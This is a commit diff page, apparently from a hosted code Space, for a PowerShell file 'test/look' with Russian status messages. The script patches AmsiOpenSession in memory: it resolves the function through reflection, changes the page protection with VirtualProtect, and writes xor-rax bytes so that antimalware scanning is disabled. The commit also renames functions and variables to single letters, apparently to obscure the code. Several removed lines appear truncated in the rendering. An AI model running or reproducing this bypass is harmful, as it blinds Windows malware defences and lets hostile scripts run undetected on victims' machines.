Spaces:
Runtime error
Runtime error
Update test/look
Browse files
test/look
CHANGED
@@ -1,67 +1,61 @@
|
|
1 |
-
function
|
2 |
-
Param($
|
3 |
-
|
4 |
-
Write-Host "[
|
5 |
-
|
6 |
-
|
7 |
-
$
|
8 |
-
|
9 |
-
|
10 |
-
|
11 |
-
|
12 |
-
$tmp=@()
|
13 |
-
$assem.GetMethods() | ForEach-Object{
|
14 |
-
If($_.Name -eq 'GetProcAddress') {
|
15 |
-
$tmp+=$_
|
16 |
-
Write-Host "[lookFuncAddr] Найден метод GetProcAddress" -ForegroundColor Green
|
17 |
}
|
18 |
}
|
19 |
-
|
20 |
-
|
21 |
-
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
|
22 |
}
|
23 |
|
24 |
-
function
|
25 |
Param(
|
26 |
-
[Parameter(Position
|
27 |
-
[
|
|
|
|
|
28 |
)
|
29 |
-
|
30 |
-
Write-Host "[
|
31 |
-
|
32 |
-
|
33 |
-
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
|
34 |
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
|
35 |
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
Write-Host "[getDelegateType] Возврат созданного типа" -ForegroundColor Green
|
43 |
-
return $type.CreateType()
|
44 |
}
|
45 |
|
46 |
Write-Host "[Main] Начало выполнения основного кода" -ForegroundColor Yellow
|
47 |
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
$oldProtect = 0
|
52 |
-
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookFuncAddr kernel32.dll VirtualProtect),
|
53 |
-
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
|
54 |
|
|
|
|
|
|
|
|
|
|
|
|
|
55 |
Write-Host "[Main] Создан делегат для VirtualProtect" -ForegroundColor Green
|
56 |
|
57 |
-
$
|
58 |
Write-Host "[Main] Изменены права доступа к памяти" -ForegroundColor Green
|
59 |
|
60 |
-
$
|
61 |
-
[System.Runtime.InteropServices.Marshal]::Copy($
|
62 |
Write-Host "[Main] Записаны байты в память" -ForegroundColor Green
|
63 |
|
64 |
-
$
|
65 |
Write-Host "[Main] Восстановлены оригинальные права доступа" -ForegroundColor Green
|
66 |
|
67 |
-
Write-Host "[Main] Завершение выполнения" -ForegroundColor Yellow
|
|
|
1 |
+
function f {
|
2 |
+
Param($a, $b)
|
3 |
+
Write-Host "[f] Начало выполнения функции" -ForegroundColor Green
|
4 |
+
Write-Host "[f] Параметры: ModuleName=$a, FunctionName=$b" -ForegroundColor Cyan
|
5 |
+
$c = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -and $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
6 |
+
Write-Host "[f] Получена сборка: $($c.Assembly.FullName)" -ForegroundColor Green
|
7 |
+
$d = @()
|
8 |
+
$c.GetMethods() | ForEach-Object {
|
9 |
+
if ($_.Name -eq 'GetProcAddress') {
|
10 |
+
$d += $_
|
11 |
+
Write-Host "[f] Найден метод GetProcAddress" -ForegroundColor Green
|
|
|
|
|
|
|
|
|
|
|
12 |
}
|
13 |
}
|
14 |
+
Write-Host "[f] Возврат результата" -ForegroundColor Green
|
15 |
+
return $d[0].Invoke($null, @( ($c.GetMethod('GetModuleHandle')).Invoke($null, @($a)), $b ))
|
|
|
16 |
}
|
17 |
|
18 |
+
function g {
|
19 |
Param(
|
20 |
+
[Parameter(Position=0, Mandatory=$true)]
|
21 |
+
[Type[]]$p,
|
22 |
+
[Parameter(Position=1)]
|
23 |
+
[Type]$q = [Void]
|
24 |
)
|
25 |
+
Write-Host "[g] Начало выполнения функции" -ForegroundColor Green
|
26 |
+
Write-Host "[g] Параметры: Func=$p, DelType=$q" -ForegroundColor Cyan
|
27 |
+
$r = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
|
|
|
|
|
28 |
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
|
29 |
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
30 |
+
Write-Host "[g] Создан тип делегата: $r" -ForegroundColor Green
|
31 |
+
$r.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $p).SetImplementationFlags('Runtime, Managed')
|
32 |
+
$r.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $q, $p).SetImplementationFlags('Runtime, Managed')
|
33 |
+
Write-Host "[g] Возврат созданного типа" -ForegroundColor Green
|
34 |
+
return $r.CreateType()
|
|
|
|
|
|
|
35 |
}
|
36 |
|
37 |
Write-Host "[Main] Начало выполнения основного кода" -ForegroundColor Yellow
|
38 |
|
39 |
+
# Вызов функции для получения адреса AmsiOpenSession
|
40 |
+
[IntPtr]$s = f 'amsi.dll' 'AmsiOpenSession'
|
41 |
+
Write-Host "[Main] Получен адрес AmsiOpenSession: $s" -ForegroundColor Green
|
|
|
|
|
|
|
42 |
|
43 |
+
$o = 0
|
44 |
+
# Создание делегата для VirtualProtect с передачей массива типов
|
45 |
+
$v = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
|
46 |
+
(f 'kernel32.dll' 'VirtualProtect'),
|
47 |
+
(g @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))
|
48 |
+
)
|
49 |
Write-Host "[Main] Создан делегат для VirtualProtect" -ForegroundColor Green
|
50 |
|
51 |
+
$v.Invoke($s, 3, 0x40, [ref]$o)
|
52 |
Write-Host "[Main] Изменены права доступа к памяти" -ForegroundColor Green
|
53 |
|
54 |
+
$b = [Byte[]](0x48, 0x31, 0xC0)
|
55 |
+
[System.Runtime.InteropServices.Marshal]::Copy($b, 0, $s, 3)
|
56 |
Write-Host "[Main] Записаны байты в память" -ForegroundColor Green
|
57 |
|
58 |
+
$v.Invoke($s, 3, 0x20, [ref]$o)
|
59 |
Write-Host "[Main] Восстановлены оригинальные права доступа" -ForegroundColor Green
|
60 |
|
61 |
+
Write-Host "[Main] Завершение выполнения" -ForegroundColor Yellow
|